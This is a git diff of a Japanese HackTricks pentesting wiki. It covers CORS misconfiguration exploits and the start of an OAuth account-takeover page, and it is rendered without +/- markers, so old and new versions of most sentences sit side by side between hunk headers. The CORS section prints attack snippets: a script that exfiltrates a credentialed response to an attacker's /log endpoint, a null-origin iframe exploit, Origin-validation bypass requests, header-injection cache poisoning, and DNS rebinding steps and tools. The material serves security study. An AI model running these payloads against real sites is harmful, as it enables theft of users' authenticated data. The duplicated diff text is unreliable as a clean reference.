このヘッダーは、**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可することができます。しかし、**複数のオリジンをサポートするブラウザはありません**、またワイルドカード`*`の使用には**制限**があります。(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と一緒に使用することは許可されていません。)
このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーによって発行され**、ブラウザは自動的に`Origin`ヘッダーを追加します。
このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する応答として**サーバーによって発行され**、ブラウザは自動的に`Origin`ヘッダーを追加します。
### `Access-Control-Allow-Credentials` ヘッダー
**デフォルト**では、クロスオリジンリクエストはクッキーやAuthorizationヘッダーのような資格情報なしで行われます。しかし、クロスドメインサーバーは、資格情報が送信される際に応答の読み取りを許可するために、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定することができます。
**デフォルト**では、クロスオリジンリクエストはクッキーやAuthorizationヘッダーのような資格情報なしで行われます。しかし、クロスドメインサーバーは、資格情報が送信された場合に応答の読み取りを許可するために、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定することができます。
`true`に設定されている場合、ブラウザは資格情報クッキー、認証ヘッダー、またはTLSクライアント証明書を送信します。
`true`に設定されると、ブラウザは資格情報クッキー、認証ヘッダー、またはTLSクライアント証明書を送信します。
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -94,7 +94,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
サーバーは、以下に示すように、受け入れられたメソッド、許可されたオリジン、およびその他のCORSポリシーの詳細を示すヘッダーを返す場合があります。
応答として、サーバーは受け入れられたメソッド、許可されたオリジン、およびその他のCORSポリシーの詳細を示すヘッダーを返す場合があります。以下に示します:
```markdown
HTTP/1.1 204 No Content
...
@ -106,20 +106,20 @@ Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。これは、サーバーによって設定され、クライアントからのリクエストで許可されるヘッダーを示します。
* **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーはクライアントに対して、単純なレスポンスヘッダー以外にレスポンスの一部として公開できるヘッダーを通知します。
* **`Access-Control-Max-Age`**: このヘッダーは、プレフライトリクエストの結果がどくらいの間キャッシュできるかを示します。サーバーは、プレフライトリクエストによって返される情報が再利用できる最大時間(秒単位)を設定します。
* **`Access-Control-Max-Age`**: このヘッダーは、プレフライトリクエストの結果がどくらいの間キャッシュできるかを示します。サーバーは、プレフライトリクエストによって返される情報が再利用される最大時間(秒単位)を設定します。
* **`Access-Control-Request-Headers`**: プレフライトリクエストで使用されるこのヘッダーは、クライアントによって設定され、実際のリクエストで使用したいHTTPヘッダーをサーバーに通知します。
* **`Access-Control-Request-Method`**: プレフライトリクエストでも使用されるこのヘッダーは、クライアントによって設定され、実際のリクエストで使用されるHTTPメソッドを示します。
* **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの発信元を示します。サーバーは、CORSポリシーに基づいて、受信リクエストを許可するか拒否するかを評価するために使用します。
通常、**GET/POSTリクエストではプレフライトリクエストは送信されません**(リクエストは**直接**送信されます)が、**レスポンスのヘッダー/ボディにアクセスしたい場合**は、_Access-Control-Allow-Origin_ ヘッダーがそれを許可する必要があります。\
**したがって、CORSはCSRFから保護しませんしかし、役立つことがあります)。**
通常、**GET/POSTリクエストではプレフライトリクエストは送信されません**(リクエストは**直接**送信されます)が、**レスポンスのヘッダー/ボディにアクセスしたい場合**、それを許可する_Access-Control-Allow-Origin_ヘッダーが含まれている必要があります。\
**したがって、CORSはCSRFから保護しませんただし、役立つ場合があります)。**
### **ローカルネットワークリクエスト プレフライトリクエスト**
1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。これは、リクエストがローカルネットワーク内から発信されていることをサーバーに通知するマーカーとして機能します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを使用して、要求されたリソースがローカルネットワーク外のエンティティと共有されることが許可されていることを伝えます。これは、異なるネットワーク境界を越えたリソースの共有を許可するためのグリーンライトとして機能し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを使用して、要求されたリソースがローカルネットワーク外のエンティティと共有されることが許可されていることを伝えます。これは、異なるネットワーク境界を越えてリソースを共有するためのグリーンライトとして機能し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。
**ローカルネットワークリクエストを許可する有効なレスポンス**には、レスポンスにヘッダー `Access-Controls-Allow-Local_network: true` も含まれている必要があります。
**ローカルネットワークリクエストを許可する有効なレスポンス**には、レスポンスにヘッダー`Access-Controls-Allow-Local_network: true`も含まれている必要があります。
```
HTTP/1.1 200 OK
...
@ -131,14 +131,23 @@ Content-Length: 0
...
```
{% hint style="warning" %}
注意してください、linuxの**0.0.0.0** IPは、localhostにアクセスするためのこれらの要件を**バイパス**するために機能します。このIPアドレスは「ローカル」と見なされません。
注意してください、linuxの**0.0.0.0** IPは、localhostにアクセスするためのこれらの要件を**バイパス**するに機能します。このIPアドレスは「ローカル」と見なされません。
また、**ローカルネットワークの要件をバイパスする**ことも可能です。**ローカルエンドポイントのパブリックIPアドレス**ルーターのパブリックIPな)を使用する場合です。なぜなら、いくつかの状況では、**パブリックIP**にアクセスしていても、**ローカルネットワークからのものであれば**、アクセスが許可されるからです。
また、**ローカルネットワークの要件をバイパスする**ことも可能です。**ローカルエンドポイントのパブリックIPアドレス**ルーターのパブリックIPのような)を使用する場合です。なぜなら、いくつかの状況では、**パブリックIP**にアクセスしていても、**ローカルネットワークから**であれば、アクセスが許可されるからです。
{% endhint %}
### ワイルドカード
次の構成が非常に許可的に見えるかもしれないことに注意してください:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
これはブラウザによって許可されておらず、したがってこのリクエストに対して資格情報は送信されません。
## 悪用可能な誤設定
`Access-Control-Allow-Credentials`を**`true`**に設定することは、ほとんどの**実際の攻撃**の前提条件であることが観察されています。この設定により、ブラウザは認証情報を送信し、応答を読み取ることができ、攻撃の効果が高まります。これがなければ、ブラウザにリクエストを発行させることの利点は減少し、ユーザーのクッキーを利用することが不可能になります。
`Access-Control-Allow-Credentials`を**`true`**に設定することほとんどの**実際の攻撃**の前提条件であることが観察されています。この設定により、ブラウザは資格情報を送信し、応答を読み取ることができ、攻撃の効果が高まります。これがなければ、ブラウザにリクエストを発行させることの利点は減少し、ユーザーのクッキーを利用することが不可能になります。
### 例外: ネットワーク位置を認証として悪用する
@ -159,9 +168,9 @@ location='/log?key='+this.responseText;
};
</script>
```
### `null`オリジンの悪用
### `null` オリジンの悪用
`null`オリジンは、リダイレクトやローカルHTMLファイルのような状況に指定され、特異な位置を占めています。一部のアプリケーションは、ローカル開発を促進するためにこのオリジンをホワイトリストに登録しており、結果的に任意のウェブサイトがサンドボックス化されたiframeを通じて`null`オリジンを模倣することを許可し、CORS制限を回避することができます。
`null` オリジンは、リダイレクトやローカル HTML ファイルのような状況で指定され、特異な位置を占めています。一部のアプリケーションは、ローカル開発を促進するためにこのオリジンをホワイトリストに登録しており、結果として、任意のウェブサイトがサンドボックス化された iframe を通じて `null` オリジンを模倣できるようになり、CORS 制限を回避することができます。
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -211,13 +220,42 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
このセットアップでは、`requester.com`のすべてのサブドメインがアクセスを許可されています。しかし、例えば`sub.requester.com`というサブドメインがXSS脆弱性で侵害された場合、攻撃者はこの弱点を利用できます。例えば、`sub.requester.com`にアクセスできる攻撃者は、XSS脆弱性を利用してCORSポリシーをバイパスし、`provider.com`上のリソースに悪意を持ってアクセスすることができます。
このセットアップでは、`requester.com`のすべてのサブドメインがアクセスを許可されています。しかし、例えば`sub.requester.com`というサブドメインがXSS脆弱性を持っている場合、攻撃者はこの弱点を利用することができます。例えば、`sub.requester.com`にアクセスできる攻撃者は、XSS脆弱性を利用してCORSポリシーをバイパスし、`provider.com`上のリソースに悪意を持ってアクセスすることができます。
### **特殊文字**
PortSwiggerの[URL検証バイパスチートシート](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet)は、一部のブラウザがドメイン名内で奇妙な文字をサポートしていることを発見しました。
ChromeとFirefoxは、`Origin`ヘッダーを検証するために実装された正規表現をバイパスできるアンダースコア`_`をサポートしています:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```
```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safariは、ドメイン名に特別な文字を受け入れることにおいてさらに緩いです:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```
```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **サーバーサイドキャッシュポイズニング**
[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTPヘッダーインジェクションを通じてサーバーサイドキャッシュポイズニングを利用することで、保存されたクロスサイトスクリプティングXSS脆弱性が誘発される可能性があります。このシナリオは、アプリケーションが不正な文字に対して`Origin`ヘッダーをサニタイズできない場合に展開され、特にInternet ExplorerおよびEdgeユーザーにとって脆弱性を生じさせます。これらのブラウザは(0x0d)を正当なHTTPヘッダーの終端子として扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。
HTTPヘッダーインジェクションを通じてサーバーサイドキャッシュポイズニングを悪用することで、保存されたクロスサイトスクリプティングXSS脆弱性が引き起こされる可能性があります。このシナリオは、アプリケーションが不正な文字に対して`Origin`ヘッダーをサニタイズできない場合に展開され、特にInternet ExplorerおよびEdgeユーザーにとって脆弱性を生じさせます。これらのブラウザは(0x0d)を正当なHTTPヘッダーの終端子として扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。
`Origin`ヘッダーが操作される以下のリクエストを考えてみてください:
```
@ -230,7 +268,7 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
この脆弱性を直接悪用するために、ウェブブラウザに不正なヘッダーを送信させることは実現可能ではありませんが、Burp Suiteのようなツールを使用して手動で作成されたリクエストを生成することができます。この方法は、サーバー側のキャッシュが応答を保存し、他のユーザーに誤って提供する可能性があります。作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できる方法で文字をエンコードできるため、XSS脆弱性に関連付けられることがよくあります。
この脆弱性を直接悪用するために、ウェブブラウザに不正なヘッダーを送信させることは実現可能ではありませんが、Burp Suiteのようなツールを使用して手動で作成されたリクエストを生成することができます。この方法は、サーバー側のキャッシュが応答を保存し、他のユーザーに誤って提供する可能性があります。作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行される可能性のある方法で文字をエンコードできるため、XSS脆弱性に関連付けられることがよくあります。
保存されたXSS脆弱性に関するさらなる情報は、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。
@ -242,11 +280,11 @@ Content-Type: text/html; charset=UTF-7
このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、悪意のあるJavaScriptを含む可能性があります。これは、ヘッダーにJavaScriptコードをロード時に実行するように設計されたSVG画像タグが含まれている例で示されています。
クロスオリジンリソースシェアリングCORSポリシーは、カスタムヘッダーの送信を許可します。しかし、CORS制限により応答がブラウザによって直接レンダリングされない場合、そのようなインジェクションの有用性は限られているように見えるかもしれません。重要なポイントは、ブラウザのキャッシュ動作を考慮する際に生じます。`Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。その後、このキャッシュされた応答は、URLに移動する際に直接レンダリングされ、初回リクエスト時の直接レンダリングの必要が回避されます。このメカニズムは、クライアントサイドキャッシングを利用することで攻撃の信頼性を高めます。
クロスオリジンリソースシェアリングCORSポリシーは、カスタムヘッダーの送信を許可します。しかし、CORS制限によりブラウザによって応答が直接レンダリングされない場合、そのようなインジェクションの有用性は限られているように見えるかもしれません。重要なポイントは、ブラウザのキャッシュ動作を考慮する際に生じます。`Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。その後、このキャッシュされた応答は、URLに移動する際に直接レンダリングされ、初回リクエスト時の直接レンダリングの必要が回避されます。このメカニズムは、クライアントサイドキャッシングを利用することで攻撃の信頼性を高めます。
この攻撃を示すために、ウェブページの環境で実行されるように設計されたJavaScriptの例が提供されます。このスクリプトは、指定されたURLに悪意のあるJavaScriptを含むカスタムヘッダーでリクエストを送信するという簡単なアクションを実行します。リクエストが成功裏に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーが適切に処理されていない場合、キャッシュされた応答があれば、注入されたスクリプトの実行をトリガーする可能性があります。
この攻撃を示すために、ウェブページの環境で実行されるように設計されたJavaScriptの例が提供されます。このスクリプトは、悪意のあるJavaScriptを含むカスタムヘッダーで指定されたURLにリクエストを送信するという簡単なアクションを実行します。リクエストが成功裏に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーが適切に処理されていない場合、キャッシュされた応答があれば、注入されたスクリプトの実行をトリガーする可能性があります。
この攻撃を実行するために使用されるJavaScriptの要約は次のとおりです:
この攻撃を実行するために使用されるJavaScriptの要約された内訳は次のとおりです:
```html
<script>
function gotcha() { location=url }
@ -264,7 +302,7 @@ req.send();
XSSI、またはクロスサイトスクリプトインクルージョンは、スクリプトタグを使用してリソースを含める際に同一オリジンポリシー (SOP) が適用されないという事実を利用する脆弱性の一種です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスし、読み取ることができます。
この脆弱性は、特に動的なJavaScriptやJSONPパディング付きJSONに関して重要です。特に、認証にクッキーのような環境権限情報が使用される場合です。異なるホストからリソースを要求すると、クッキーが含まれ、攻撃者がアクセスできるようになります。
この脆弱性は、特に動的なJavaScriptやJSONPパディング付きJSONに関して重要です。特に、クッキーのような環境権限情報が認証に使用される場合です。異なるホストからリソースをリクエストすると、クッキーが含まれ、攻撃者がアクセスできるようになります。
この脆弱性をよりよく理解し、軽減するために、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) で入手可能なBurpSuiteプラグインを使用できます。このプラグインは、Webアプリケーション内の潜在的なXSSI脆弱性を特定し、対処するのに役立ちます。
@ -276,14 +314,14 @@ XSSI、またはクロスサイトスクリプトインクルージョンは、
### 簡単(無駄?)バイパス
`Access-Control-Allow-Origin`制限をバイパスする方法の一つは、Webアプリケーションにあなたの代わりにリクエストを行わせ、応答を返させることです。しかし、このシナリオでは、最終的な被害者の資格情報は、リクエストが異なるドメインに対して行われるため送信されません。
`Access-Control-Allow-Origin`制限をバイパスする方法の一つは、Webアプリケーションにあなたの代わりにリクエストを行い、応答を返すように依頼することです。しかし、このシナリオでは、最終的な被害者の資格情報は、リクエストが異なるドメインに対して行われるため送信されません。
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、要求されたドメインに一致するようにOriginヘッダーを偽装します。これにより、CORSポリシーを効果的にバイパスします。以下はXMLHttpRequestを使用した例です。
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡すのではなく、サーバーが指定されたパラメータで独自のリクエストを行う代替アプローチを提供します。
### Iframe + ポップアップバイパス
`e.origin === window.origin`のようなCORSチェックを**iframeを作成し**、**そこから新しいウィンドウを開く**ことで**バイパス**できます。詳細は次のページにあります:
`e.origin === window.origin`のようなCORSチェックを**iframeを作成し**、**そこから新しいウィンドウを開くことによってバイパス**できます。詳細は次のページにあります:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -291,7 +329,7 @@ XSSI、またはクロスサイトスクリプトインクルージョンは、
### TTLによるDNSリバインディング
TTLによるDNSリバインディングは、DNSレコードを操作すること特定のセキュリティ対策をバイパスするために使用される技術です。以下はその仕組みです:
TTLによるDNSリバインディングは、DNSレコードを操作することによって特定のセキュリティ対策をバイパスするために使用される技術です。以下はその仕組みです:
1. 攻撃者はWebページを作成し、被害者にアクセスさせます。
2. 攻撃者は自分のドメインのDNSIPを変更して、被害者のWebページを指すようにします。
@ -299,13 +337,13 @@ TTLによるDNSリバインディングは、DNSレコードを操作するこ
4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者が被害者のページでJavaScriptコードを実行できるようになります。
5. 被害者のIPを制御し続けることで、攻撃者は被害者サーバーにクッキーを送信することなく、被害者から情報を収集できます。
ブラウザにはキャッシングメカニズムがあり、低TTL値でもこの技術の即時悪用を防ぐ可能性があることに注意が必要です。
ブラウザにはキャッシングメカニズムがあり、この技術の即時悪用を防ぐ場合があることに注意が必要です。特に低TTL値の場合でもです。
DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするのに役立つ場合や、ユーザーやボットが長時間同じページに留まるシナリオで役立ち、キャッシュが切れるのを許可します。
DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするのに役立つ場合や、ユーザーやボットが長時間同じページに留まるシナリオで役立ちます。これにより、キャッシュが切れることが可能になります。
DNSリバインディングを悪用するための迅速な方法が必要な場合は、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)のようなサービスを使用できます。
独自のDNSリバインディングサーバーを実行するには、**DNSrebinder**[https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードを作成しns.example.com、以前に作成したAサブドメインを指すNSレコードを作成することが含まれますns.example.com。ns.example.comのサブドメインのいずれかは、あなたのホストによって解決されます。
独自のDNSリバインディングサーバーを実行するには、**DNSrebinder**[https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードを作成しns.example.com、以前に作成したAサブドメインを指すNSレコードを作成することが含まれますns.example.com。ns.example.comの任意のサブドメインは、あなたのホストによって解決されます。
さらに理解と実験のために、[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。
@ -317,7 +355,7 @@ DNSキャッシュフラッディングによるDNSリバインディングは
2. キャッシング防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者サーバー名を効果的に削除します。
3. 被害者のブラウザが2回目のDNSリクエストを行うと、今度はIPアドレス127.0.0.1で応答され、通常はローカルホストを指します。
サービスワーカーでDNSキャッシュをフラッドすること、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせ、今度は攻撃者の望むIPアドレスに解決させることができます。
サービスワーカーでDNSキャッシュをフラッドすることにより、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせることができ、今回は攻撃者の望むIPアドレスに解決されます。
### **キャッシュによるDNSリバインディング**
@ -327,13 +365,13 @@ DNSキャッシュフラッディングによるDNSリバインディングは
2. ブラウザがこれらのレコードを確認すると、両方のIPアドレスを受け取ります。
3. ブラウザが攻撃者のIPアドレスを最初に使用することを決定した場合、攻撃者は同じドメインに対してHTTPリクエストを実行するペイロードを提供できます。
4. しかし、攻撃者が被害者のIPアドレスを取得すると、被害者のブラウザへの応答を停止します。
5. 被害者のブラウザは、ドメインが応答しないことに気づくと、与えられた2番目のIPアドレスを使用することに移行します。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者がこれを悪用して情報を収集し、外部に送信することを可能にします。
5. 被害者のブラウザは、ドメインが応答しないことに気づくと、与えられた2番目のIPアドレスを使用するようになります。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者がこれを悪用して情報を収集し、外部に送信できるようになります。
この技術は、ドメインに対して複数のIPアドレスが提供されたときのブラウザの動作を利用しています。応答を戦略的に制御し、ブラウザのIPアドレスの選択を操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。
{% hint style="warning" %}
ローカルホストにアクセスするには、Windowsでは**127.0.0.1**を再バインドし、Linuxでは**0.0.0.0**を再バインドする必要があります。\
ローカルホストにアクセスするには、Windowsでは**127.0.0.1**をリバインドし、Linuxでは**0.0.0.0**をリバインドする必要があります。\
godaddyやcloudflareのようなプロバイダーは私がIP 0.0.0.0を使用することを許可しませんでしたが、AWS route53は2つのIPのうちの1つが"0.0.0.0"であるAレコードを作成することを許可しました。
<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
@ -351,12 +389,12 @@ godaddyやcloudflareのようなプロバイダーは私がIP 0.0.0.0を使用
前述のバイパス技術と、次のツールの使用方法についての詳細は、[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)のトークで確認できます。
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNSリバインディング](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスにバインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントを含んでいます。
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNSリバインディング](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスにバインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
### DNSリバインディングに対する実際の保護
* 内部サービスでTLSを使用する
* データにアクセスするため認証を要求する
* データにアクセスするため認証を要求する
* Hostヘッダーを検証する
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): 公共サーバーが内部サーバーにアクセスする際に常にプレフライトリクエストを送信する提案
@ -388,8 +426,8 @@ godaddyやcloudflareのようなプロバイダーは私がIP 0.0.0.0を使用
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -397,7 +435,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# OAuth to Account takeover
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -23,23 +23,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
OAuthはさまざまなバージョンを提供しており、基本的な情報は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。
仮想のウェブサイト_**https://example.com**_を考えてみてください。このサイトは**あなたのすべてのソーシャルメディア投稿を表示する**ことを目的としています。これを実現するためにOAuth 2.0が使用されます。_https://example.com_はあなたの**ソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_において、**要求されている権限とリクエストを行っている開発者**を示す同意画面示されます。あなたが承認すると、_https://example.com_はあなたの**代わりに投稿にアクセスする**能力を得ます。
仮想のウェブサイト_**https://example.com**_を考えてみてください。このサイトは**あなたのすべてのソーシャルメディア投稿を表示する**ことを目的としています。これを実現するためにOAuth 2.0が使用されます。_https://example.com_はあなたの**ソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_はあなたの**代わりに投稿にアクセスする**能力を得ます。
OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です:
* **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿などのリソースへのアクセスを許可します。
* **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。
* **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
* **client application**: **リソースオーナー**からの認可を求める**アプリケーション**、例:**https://example.com**。
* **authorization server**: **リソースオーナー**の認証が成功し、認可が取得された後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
* **client\_id**: アプリケーションの公開されている一意の識別子。
* **client\_secret:** アプリケーションと認可サーバーのみに知られている機密鍵で、`access_tokens`を生成するために使用されます。
* **authorization server**: **リソースオーナー**の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
* **client\_id**: アプリケーションのための公開の一意の識別子。
* **client\_secret:** アプリケーションと認可サーバーのみに知られる秘密のキーで、`access_tokens`を生成するために使用されます。
* **response\_type**: **要求されるトークンのタイプ**を指定する値、例:`code`。
* **scope**: `client application`が`resource owner`から要求している**アクセスレベル**。
* **redirect\_uri**: **ユーザーが認可後にリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。
* **state**: **ユーザーが認可サーバーにリダイレクトされる際にデータを維持するためのパラメータ**ユニーク性は**CSRF保護メカニズム**として機能するために重要です。
* **grant\_type**: **グラントタイプと返されるトークンのタイプを示すパラメータ**
* **redirect\_uri**: **認可後にユーザーがリダイレクトされるURL**。これは通常、事前に登録されたリダイレクトURLと一致する必要があります。
* **state**: **ユーザーが認可サーバーにリダイレクトされる際にデータを維持するためのパラメータ**その一意性は**CSRF保護メカニズム**として機能するために重要です。
* **grant\_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。
* **code**: `authorization server`からの認可コードで、`client application`が`access_token`を取得するために`client_id`と`client_secret`と共に使用します。
* **access\_token**: **リソースオーナーの代わりにAPIリクエストに使用されるトークン**
* **access\_token**: `resource owner`の代わりにAPIリクエストを行うために`client application`が使用する**トークン**
* **refresh\_token**: アプリケーションが**ユーザーに再度プロンプトを表示することなく新しい`access_token`を取得する**ことを可能にします。
### Flow
@ -47,7 +47,7 @@ OAuth 2.0フレームワーク内の以下のコンポーネントを理解す
**実際のOAuthフロー**は次のように進行します:
1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。
2. サイトは次に、あなたの投稿にアクセスするためにhttps://example.comアプリケーションに許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
